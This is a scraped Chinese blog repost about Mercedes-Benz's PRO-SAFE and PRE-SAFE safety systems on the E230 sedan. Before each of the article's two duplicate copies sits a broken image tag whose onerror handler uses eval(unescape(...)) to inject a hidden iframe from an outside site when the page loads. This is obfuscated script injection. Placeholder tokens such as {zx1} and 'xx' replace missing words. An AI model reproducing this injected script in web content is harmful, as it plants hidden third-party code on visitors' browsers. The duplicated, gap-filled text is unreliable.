奔驰的"PRO-SAFE"四面八方安全保护
[转贴 2010-06-04 21:28:10]
奔驰的"PRO-SAFE"四面八方安全保护
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
8月初,作为北京奔驰-戴姆勒·克莱斯勒汽车有限公司的{zx1}力作,全新梅赛德斯-奔驰E230轿车高调亮相。E230搭载专门为中国打造的V62.5升引擎,输出150千瓦的功率,245牛/米的扭距。无论是S、C级还是这款低配置版的E230,置身其中你都能感觉奔驰车那份与众不同的品质,E230集诸多E级轿车安全与舒适的骄人配置及优雅气质于一身。但更令人注目的是,E级轿采用了众多安全设计,其中全球{sg}"PRO-SAFE全方位安全概念"就足够实力,E级也因此赢得了"同级别xxx与舒适的豪华轿车"盛誉。
很感谢世界上还有沃尔沃、萨博、奔驰这些有责任感的车厂,不断主动地发展和提高安全技术,而不是仅仅为降低成本,或者是迎合NCAP之类的碰撞测试来设计车辆。现时我们往往把安全概念放在碰撞瞬间,如何提供xx的车身结构和气囊之类安全配置来保护乘员。其实这样远远不够,除了碰撞瞬间发生的事情,我们还应该把眼光放在如何预防事故的发生,事故发现后如何逃生等方面。
其实汽车安全领域的突破性科技都是奔驰最早采用的,例如溃缩区、ABS、安全气囊、ESP、车窗安全气囊、安全带收紧器、制动辅助系统等等。安全一直是奔驰产品着重强调的特性,只是不是{wy}的特性,因为奔驰在其它方面也有着{jj1}的表现。例如2002年初次在SL系列跑车上亮相的SBC,这种系统不是通过机械或液压的方式传递驾驶者的指令,而是通过电线。通过SBC和ESP的协作,能对每个车轮使用特定的制动力,并通过降低引擎扭矩,保持汽车安全地循路行驶。SBC在下雨天可以自动让刹车钳定期靠近刹车盘,以去除上面的水膜,这样可以保证刹车系统任何时候都处于高效状态。
E级一直是奔驰探讨未来设计风格的试验者,无论是1947年诞生的奔驰170,还是1995开创双椭圆灯"大眼仔"的设计,E级轿车xx潮流的脚步始终没有停下来,因此E230也装备了众多奔驰在安全领域的研发成果。
全球率先使用的PRO-SAFE
全球xx的PRE-SAFE于2002年在梅赛德斯-奔驰S级轿车上实现了批量生产,从此获得了众多的国际奖项。由于这项设计对行车安全带来了非常大的帮助,奔驰在E级轿车上也标准配备,包括{zx1}上市的E230。PRE-SAFE是一种预防性乘客安全保护系统,依靠"反射作用"在即将发生碰撞之前做出响应,为驾驶员和前排乘客xx保护措施。
PRO-SAFE全方位安全概念的精华部分是第二代预防性安全系统PRE-SAFE。简单来说,PRE-SAFE是一种通过与行车稳定ESP(电子稳定装置)相结合的系统,工作时它通过各类传感器识别潜在的危险性行驶状况,再制定相应的预防措施来避免危险,它保护的范围包括主动和被动安全两个方面。下面我们看看PRE-SAFE作用时的几个例子:
如果车辆濒临侧滑危险时,或者在驾驶员必须急剧制动时,PRE-SAFE将收紧前排座椅安全带作为预防措施,并将乘客座椅调节到最有利的位置,包括头部也被调节到更合适的位置,甚至还可以调节后排电子控制式单人座椅。S级轿车标准配备了改进型的车窗安全气囊,在濒临侧滑危险并很可能发生事故时,PRE-SAFE自动关闭侧窗,从而支撑在发生侧面碰撞或翻车时展开的车窗安全气囊。PRE-SAFE的这种新功能也可以降低乘客被抛出车外的风险,并降低车外物体撞入车内。
如果事故得以避免,PRE-SAFE将再次打开侧窗并松开安全带收紧器,乘客可以将其座椅还原到初始位置,随后,PRE-SAFE系统再次回到预备状态。PRE-SAFE是与ESP共用数据,当相关数据发送至电子控制单元并在数据超过一定限值时(奔驰认为已经超过安全风险),电子控制单元就会xx安全预防措施。
PRO-SAFE对碰撞之后的保护
PRO-SAFE全方位安全概念还考虑了交通事故之后的阶段。经常看到一些车辆不幸发生严重事故,但由于车门变形而无法逃生,或者是这边汽油已经渗漏一地,那边引擎还在启动着,险象横生。注重安全的欧洲车厂早已经考虑到这些问题。
车辆在发生严重事故后,将自动中断引擎的燃油供给,并用灯光信号向后方接近的车辆发出警告,防止发生新的交通事故。安全气囊打开后会形成车内的高压,而且气囊会发生非常呛人的气体,但在装备有奔驰PRO-SAFE系统的车辆里,安全气囊打开后所有的侧窗会开启足够内部通风的空隙。事故后门锁自动打开,而特别设计的碰撞接点防止车门严重凹陷,而车门绞链在变形之后也将完好无损,因此乘客可以自己从内部开启门锁。奔驰S级轿车甚至在前窗和后窗设计有紧急救援标记,指示救援人员可以在这个位置切断A柱和C柱,从而迅速地救出受伤乘客。
安全离不开坚固车身
作为PRO-SAFE全方位安全概念的组成部分,被动安全同样也是奔驰关注的重点。奔驰工程师们遵循着"适当地方运用适当材料"的原则,在E级轿车中运用了钢材、铝材和塑料的材料组合,打造了更为坚固和轻量化的安全车身。大量的高强度或超高强度合金钢用以替代传统的钢材:保证在发生前面碰撞、尾部碰撞、侧面碰撞或翻车时,E级轿车的乘客舱能够抵抗变形。
此外E级轿车也采用了一些设计从多个平面降低冲击力。比如说除了固定引擎、前桥和转向系统之外,前端模块组合和框架式整体支撑也连接了前纵梁和轮罩上方的第二纵梁平面。在发生前面碰撞时,这种设计为传导冲击力和负载提供了两个重要途径,是E级轿车得以达到出色的乘客安全保护水平的重要条件之一。
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
8月初,作为北京奔驰-戴姆勒·克莱斯勒汽车有限公司的{zx1}力作,全新梅赛德斯-奔驰E230轿车高调亮相。E230搭载专门为中国打造的V62.5升引擎,输出150千瓦的功率,245牛/米的扭距。无论是S、C级还是这款低配置版的E230,置身其中你都能感觉奔驰车那份与众不同的品质,E230集诸多E级轿车安全与舒适的骄人配置及优雅气质于一身。但更令人注目的是,E级轿采用了众多安全设计,其中全球{sg}"PRO-SAFE全方位安全概念"就足够实力,E级也因此赢得了"同级别xxx与舒适的豪华轿车"盛誉。
很感谢世界上还有沃尔沃、萨博、奔驰这些有责任感的车厂,不断主动地发展和提高安全技术,而不是仅仅为降低成本,或者是迎合NCAP之类的碰撞测试来设计车辆。现时我们往往把安全概念放在碰撞瞬间,如何提供xx的车身结构和气囊之类安全配置来保护乘员。其实这样远远不够,除了碰撞瞬间发生的事情,我们还应该把眼光放在如何预防事故的发生,事故发现后如何逃生等方面。
其实汽车安全领域的突破性科技都是奔驰最早采用的,例如溃缩区、ABS、安全气囊、ESP、车窗安全气囊、安全带收紧器、制动辅助系统等等。安全一直是奔驰产品着重强调的特性,只是不是{wy}的特性,因为奔驰在其它方面也有着{jj1}的表现。例如2002年初次在SL系列跑车上亮相的SBC,这种系统不是通过机械或液压的方式传递驾驶者的指令,而是通过电线。通过SBC和ESP的协作,能对每个车轮使用特定的制动力,并通过降低引擎扭矩,保持汽车安全地循路行驶。SBC在下雨天可以自动让刹车钳定期靠近刹车盘,以去除上面的水膜,这样可以保证刹车系统任何时候都处于高效状态。
E级一直是奔驰探讨未来设计风格的试验者,无论是1947年诞生的奔驰170,还是1995开创双椭圆灯"大眼仔"的设计,E级轿车xx潮流的脚步始终没有停下来,因此E230也装备了众多奔驰在安全领域的研发成果。
全球率先使用的PRO-SAFE
全球xx的PRE-SAFE于2002年在梅赛德斯-奔驰S级轿车上实现了批量生产,从此获得了众多的国际奖项。由于这项设计对行车安全带来了非常大的帮助,奔驰在E级轿车上也标准配备,包括{zx1}上市的E230。PRE-SAFE是一种预防性乘客安全保护系统,依靠"反射作用"在即将发生碰撞之前做出响应,为驾驶员和前排乘客xx保护措施。
PRO-SAFE全方位安全概念的精华部分是第二代预防性安全系统PRE-SAFE。简单来说,PRE-SAFE是一种通过与行车稳定ESP(电子稳定装置)相结合的系统,工作时它通过各类传感器识别潜在的危险性行驶状况,再制定相应的预防措施来避免危险,它保护的范围包括主动和被动安全两个方面。下面我们看看PRE-SAFE作用时的几个例子:
如果车辆濒临侧滑危险时,或者在驾驶员必须急剧制动时,PRE-SAFE将收紧前排座椅安全带作为预防措施,并将乘客座椅调节到最有利的位置,包括头部也被调节到更合适的位置,甚至还可以调节后排电子控制式单人座椅。S级轿车标准配备了改进型的车窗安全气囊,在濒临侧滑危险并很可能发生事故时,PRE-SAFE自动关闭侧窗,从而支撑在发生侧面碰撞或翻车时展开的车窗安全气囊。PRE-SAFE的这种新功能也可以降低乘客被抛出车外的风险,并降低车外物体撞入车内。
如果事故得以避免,PRE-SAFE将再次打开侧窗并松开安全带收紧器,乘客可以将其座椅还原到初始位置,随后,PRE-SAFE系统再次回到预备状态。PRE-SAFE是与ESP共用数据,当相关数据发送至电子控制单元并在数据超过一定限值时(奔驰认为已经超过安全风险),电子控制单元就会xx安全预防措施。
PRO-SAFE对碰撞之后的保护
PRO-SAFE全方位安全概念还考虑了交通事故之后的阶段。经常看到一些车辆不幸发生严重事故,但由于车门变形而无法逃生,或者是这边汽油已经渗漏一地,那边引擎还在启动着,险象横生。注重安全的欧洲车厂早已经考虑到这些问题。
车辆在发生严重事故后,将自动中断引擎的燃油供给,并用灯光信号向后方接近的车辆发出警告,防止发生新的交通事故。安全气囊打开后会形成车内的高压,而且气囊会发生非常呛人的气体,但在装备有奔驰PRO-SAFE系统的车辆里,安全气囊打开后所有的侧窗会开启足够内部通风的空隙。事故后门锁自动打开,而特别设计的碰撞接点防止车门严重凹陷,而车门绞链在变形之后也将完好无损,因此乘客可以自己从内部开启门锁。奔驰S级轿车甚至在前窗和后窗设计有紧急救援标记,指示救援人员可以在这个位置切断A柱和C柱,从而迅速地救出受伤乘客。
安全离不开坚固车身
作为PRO-SAFE全方位安全概念的组成部分,被动安全同样也是奔驰关注的重点。奔驰工程师们遵循着"适当地方运用适当材料"的原则,在E级轿车中运用了钢材、铝材和塑料的材料组合,打造了更为坚固和轻量化的安全车身。大量的高强度或超高强度合金钢用以替代传统的钢材:保证在发生前面碰撞、尾部碰撞、侧面碰撞或翻车时,E级轿车的乘客舱能够抵抗变形。
此外E级轿车也采用了一些设计从多个平面降低冲击力。比如说除了固定引擎、前桥和转向系统之外,前端模块组合和框架式整体支撑也连接了前纵梁和轮罩上方的第二纵梁平面。在发生前面碰撞时,这种设计为传导冲击力和负载提供了两个重要途径,是E级轿车得以达到出色的乘客安全保护水平的重要条件之一。
郑重声明：资讯 【奔驰的"PRO-SAFE"四面八方安全保护- 电子银行- inaugural - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
